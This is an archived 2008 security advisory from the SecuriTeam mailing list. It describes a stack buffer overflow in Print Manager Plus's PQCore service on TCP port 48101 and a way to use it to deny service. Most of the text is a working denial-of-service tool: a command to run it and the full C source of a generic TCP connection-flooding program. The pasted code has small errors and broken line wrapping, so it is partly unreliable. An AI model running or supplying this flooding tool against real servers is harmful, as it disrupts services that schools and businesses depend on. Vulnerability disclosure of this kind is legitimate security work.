

[NT] Print Manager Plus Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-02/msg00009.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 5 Feb 2008 08:58:29 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Print Manager Plus Buffer Overflow

SUMMARY

"With over 10 years of experience in the Print Management arena and by surveying and listening to our customers it has made http://www.softwareshef.com/products/print_manager_plus_professional.htm Print Manager Plus the #1 Print Management software in the world, which is used in thousands of Schools, Universities, Libraries, Corporations, Governments, and Individual consultants." A vulnerability in the Print Manager Plus allows remote attackers to overflow an internal buffer in the product in turn causing it crash and possibly execute arbitrary code.

DETAILS

Vulnerable Systems:

* Print Manager Plus version 7.0.127.16

PQCore is a service that runs on the server on which Print Manager Plus is installed and is automatically relaunched by PQService in case it dies.

The TCP port 48101 bound by the service is used to receive messages through the network which, when received, are used by vswprintf (called at offset 00421995) for building the following log entry:

[NT] Print Manager Plus Buffer Overflow

```
" CPMPPipeServer::ProcessResponse – msg: %s"
```

The destination buffer used by `vswprintf` is located on the stack and has a size of about 500 bytes but the resulted Unicode buffer-overflow is limited by the exception handler which terminates the process before returning from the vulnerable function (the classical canary checking at the end of the function).

Using longer strings (max 8192 bytes) will just cause the crash of the process in `vswprintf` but without control over any register.

So in this case there are just no security bugs, no DoS since seems that is used just a connection for each message and there is no exploitable buffer-overflow since the process is automatically terminated and restarted in a matter of milliseconds.

Anyway, before kicking this bug in the recycle bin, exists a minimal way to cause a Denial of Service. In fact sending some consecutive long messages will compare an error messagebox on the screen and no new messages will be accepted.

In some cases could also happen that after having acknowledged the message the problems will continue and the manual killing of the PQCore process is required for being able to restart it.

Exploit:

Create a text file containing about 600 chars in it and then use the following command:

```
tcpfp -f file.txt -t 300 SERVER 48101
```

```
/*
```

by Luigi Auriemma – <http://aluiigi.org/fakep/tcpfp.zip>

```
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <ctype.h>
#include <sys/stat.h>
```

```
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
```

```
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
```

[NT] Print Manager Plus Buffer Overflow

```
#define sleepms(x) sleep(x)
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#define sleepms(x) usleep(x * 1000)
#endif

#define VER "0.2.2"
#define BUFSZ 512

void showchr(u_char *data, int len);
int showandstop(u_char *data, int len, u_char *pat);
u_int resolv(char *host);
void std_err(void);

struct sd_t {
int sd; // the socket
int num; // the socket counter
u_int recvlen; // amount of data received
struct sd_t *prev; // previous structure
struct sd_t *next; // next structure
};

struct sd_t *sd;

int main(int argc, char *argv[]) {
struct sockaddr_in peer;
struct stat xstat;
struct timeval tout;
struct sd_t *s,
*sp,
*sn,
*sbase;
FILE *fd;
#ifdef WIN32
time_t oldt,
remtime;
```

[NT] Print Manager Plus Buffer Overflow

```
#endif
fd_set rset;
u_int max = 0;
int tmp,
sel,
i,
len,
ms,
socks,
datalen = 0,
show = 0,
cms = 0,
nms = 3000,
full;
u_char buff[BUFSZ],
*data = NULL,
*recvstop = NULL;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);
setbuf(stderr, NULL);

fputs("\n"
"Generic TCP Fake Players DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stderr);

if(argc < 3) {
fprintf(stderr,
"\n"
"Usage: %s [options] <host> <port>\n"
"\n"
"Options:\n"
"-f FILE file containing the raw data to send to the server
(use - for stdin)\n"
"-t MS milliseconds to wait between each connection
(%d)\n"
"-T MS milliseconds to wait for checking for new slots
while full (about %d)\n"
"-r PAT shows the first data received from the server and
stops if contains\n"
" the pattern PAT, for example if contains the word
\"full\"\n"
"-m NUM limit the number of maximum connections\n"
"-s shows all the printable data received from the
```

[NT] Print Manager Plus Buffer Overflow

```
connections\n"
"\n"
"Note: server is considered full when no new connections are
accepted or are\n"
" meet the conditions specified with the options -r or
-m\n"
"\n", argv[0], cms, nms);
exit(1);
}

argc -= 2;
for(i = 1; i < argc; i++) {
if(argv[i][0] != '-') continue;
switch(argv[i][1]) {
case 'f': {
i++;
if(strcmp(argv[i], "-") {
fprintf(stderr, "- load file containing the data to
send: %s\n", argv[i]);
fd = fopen(argv[i], "rb");
if(!fd) std_err();
fstat(fileno(fd), &xstat);
datalen = xstat.st_size;
data = malloc(datalen);
if(!data) std_err();
fread(data, datalen, 1, fd);
fclose(fd);
} else {
fprintf(stderr, "- insert the data to send\n");
data = malloc(BUFFSZ);
if(!data) std_err();
fgets(data, BUFFSZ, stdin);
datalen = strlen(data);
}
} break;
case 't': cms = atoi(argv[++i]); break;
case 'T': nms = atoi(argv[++i]); break;
case 'r': recvstop = argv[++i]; break;
case 'm': max = atoi(argv[++i]); break;
case 's': show = 1; break;
default: {
fprintf(stderr, "\nError: wrong command-line argument
(%s)\n", argv[i]);
exit(1);
} break;
}
}

peer.sin_addr.s_addr = resolv(argv[argc]);
peer.sin_port = htons(atoi(argv[argc + 1]));
peer.sin_family = AF_INET;
```

[NT] Print Manager Plus Buffer Overflow

```
fprintf(stderr, "- target %s : %hu\n",
inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

fprintf(stderr, "- check if remote port is open: ");
tmp = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(tmp < 0) std_err();
if(connect(tmp, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
close(tmp);
fprintf(stderr, "ok\n");

if(!max) {
max = -1;
max >>= 1; // max positive signed
integer
} else {
fprintf(stderr, "- %u max sockets\n", max);
}
fprintf(stderr, "- %d sockets for each select()\n", FD_SETSIZE);
sd = NULL;
ms = cms;
socks = 0;
full = 0;
#ifdef WIN32
oldt = 0;
remtime = 0; // useless, only for
avoiding warnings
#endif

fprintf(stderr, "- start attack:\n");
goto newsock;

for(;;) {
redo_all:
if(full) {
ms = nms; // new connections when full
} else {
ms = cms; // new connections
}

sbase = sd;
if(!sbase) { // faster if no
connections
sleepms(ms); // and Windows
compatibility!!!
goto newsock;
}

if(ms) {
tmp = (socks / FD_SETSIZE); // time divided for each
```

[NT] Print Manager Plus Buffer Overflow

```
FD_SETTIME
if(!tmp) tmp = 1;
tout.tv_sec = (ms / tmp) / 1000;
tout.tv_usec = ((ms / tmp) % 1000) * 1000;
} else {
tout.tv_sec = 0;
tout.tv_usec = 0;
}

do {
redo_select:
sel = 0;
FD_ZERO(&rset);

for(s = sbase, i = 0; s && (i < FD_SETSIZE); i++, s = s->next)
{
if(s->sd > sel) sel = s->sd;
FD_SET(s->sd, &rset);
}

if(!tout.tv_sec && !tout.tv_usec) {
tout.tv_sec = (ms / tmp) / 1000; // a timeout for each
FD_SETTIME block
tout.tv_usec = ((ms / tmp) % 1000) * 1000;
}
#ifdef WIN32
oldt = GetTickCount();
remtime = (tout.tv_sec * 1000) + (tout.tv_usec / 1000);
#endif

if(select(sel + 1, &rset, NULL, NULL, &tout)
< 0) std_err();
// don't check for return value, we scan each socket... blah

#ifdef WIN32
remtime -= GetTickCount() - oldt; // remaining time less
elapsed time
if(((int)remtime < 0) || (remtime > ms)) {
tout.tv_sec = 0;
tout.tv_usec = 0;
} else {
tout.tv_sec = remtime / 1000;
tout.tv_usec = (remtime % 1000) * 1000;
}
#endif

for(s = sbase, i = 0; s && (i < FD_SETSIZE); i++, s = s->next)
{
if(FD_ISSET(s->sd, &rset)) {
len = recv(s->sd, buff, BUFSZ, 0);
if(len <= 0) {
```

[NT] Print Manager Plus Buffer Overflow

```
goto disconnect;

} else {
s->recvlen += len; // so the number is ready
for DISCONNECT
if(recvstop && !(s->recvlen - len)) {
// yes it is very basic since
// the protocol is not known and
// no temporary buffer is used

if(showandstop(buff, len, recvstop)) {
fprintf(stderr, "disconnection pattern
received");
goto disconnect;
}
fputc('.', stderr);
}
if(show) showchr(buff, len);
}
break;
}
}

if(tout.tv_sec || tout.tv_usec) {
goto redo_select;
}

for(s = sbase, i = 0; s && (i < FD_SETSIZE); i++, s =
s->next);
sbase = s ? s->next : NULL;
} while(sbase);

newsock:
fprintf(stderr, "\n connect %5d: ", socks);

if(socks >= max) {
fprintf(stderr, "max connections reached");
full = 1;
continue;
}

sleepms(1); // avoids congestion

tmp = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(tmp < 0) {
fprintf(stderr, "unable to create new sockets");
full = 1;
continue;
}

if(connect(tmp, (struct sockaddr *)&peer, sizeof(peer)) < 0) {
```

[NT] Print Manager Plus Buffer Overflow

```
fprintf(stderr, "server full or no new connections accepted");
close(tmp);
full = 1;
continue;
}
fprintf(stderr, "ok ");

if(data) {
if(send(tmp, data, datalen, 0) != datalen) {
fprintf(stderr, "connection interrupted while sending
data");
close(tmp);
full = 0;
continue;
}
fputc('.', stderr);
}

if(sd) {
for(s = sd; s->next; s = s->next);
sp = s;
s->next = malloc(sizeof(struct sd_t));
if(!s->next) std_err();
s = s->next;
} else {
sp = NULL;
sd = malloc(sizeof(struct sd_t));
if(!sd) std_err();
s = sd;
}
s->sd = tmp;
s->num = socks;
s->recvlen = 0;
s->prev = sp;
s->next = NULL;
socks++;
full = 0;
continue;

disconnect:
// better than 2 #defines
fprintf(stderr, "\n disconnect %5d: %u bytes", s->num,
s->recvlen);
close(s->sd);
sp = s->prev;
sn = s->next;
sp ? (sp->next = sn) : (sd = sn);
if(sn) sn->prev = sp;
free(s);
socks--;
full = 0;
```

[NT] Print Manager Plus Buffer Overflow

```
goto redo_all;
}
```

```
if(data) free(data);
if(recvstop) free(recvstop);
for(s = sd; s->next; s = sn) {
    sn = s->next;
    free(s);
}
free(s);
fprintf(stderr, "\n- finished\n");
return(0);
}
```

```
void showchr(u_char *data, int len) {
    u_char tmp[BUFSZ],
    *p,
    *limit;
```

```
    memcpy(tmp, data, len);
```

```
    limit = tmp + len;
    for(p = tmp; p < limit; p++) {
        if(!isprint(*p)) *p = '!';
    }
```

```
    fwrite(tmp, len, 1, stdout);
}
```

```
int showandstop(u_char *data, int len, u_char *pat) {
    int patlen;
    u_char *limit;
```

```
    showchr(data, len);
```

```
    patlen = strlen(pat);
    limit = data + len - patlen;
    while(data < limit) {
        if(!memcmp(data, pat, patlen)) return(1); // found
        data++;
    }
```

```
    return(0); // not found
}
```

[NT] Print Manager Plus Buffer Overflow

```
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
fprintf(stderr, "\nError: Unable to resolv hostname (%s)\n",
host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}

#ifdef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:aluigi@xxxxxxxxxxxxxx>> Luigi Auriemma.

The original article can be found at:

<<http://aluigi.altervista.org/adv/pqcorez-adv.txt>>

<http://aluigi.altervista.org/adv/pqcorez-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

[NT] Print Manager Plus Buffer Overflow

loss of business profits or special damages.